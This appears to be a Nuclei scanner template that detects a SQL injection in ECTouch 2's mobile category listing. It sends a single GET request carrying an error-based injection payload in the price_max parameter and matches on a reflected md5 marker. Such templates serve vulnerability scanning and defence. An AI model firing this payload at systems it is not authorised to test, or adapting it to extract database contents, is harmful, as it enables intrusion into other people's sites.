id: etouch-v2-sqli

info:
  name: ECTouch 2 - SQL Injection
  author: princechaddha
  severity: critical
  description: ECTouch 2 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://github.com/mstxq17/CodeCheck/
    - https://www.anquanke.com/post/id/168991
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: etouch,sqli,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5({{num}}),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)''"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '{{md5({{num}})}}'
        part: body
# digest: 4b0a004830460221009b3e7c0596e2dcd0afbaeb205392bc778fb9987aca31f5a51df6ef93fc83277c022100b4f03efd1d5b7c895eefdf6d868805b4b87b7b2f7e7e490388157580888046ee:922c64590222798bb761d5b6d8e72950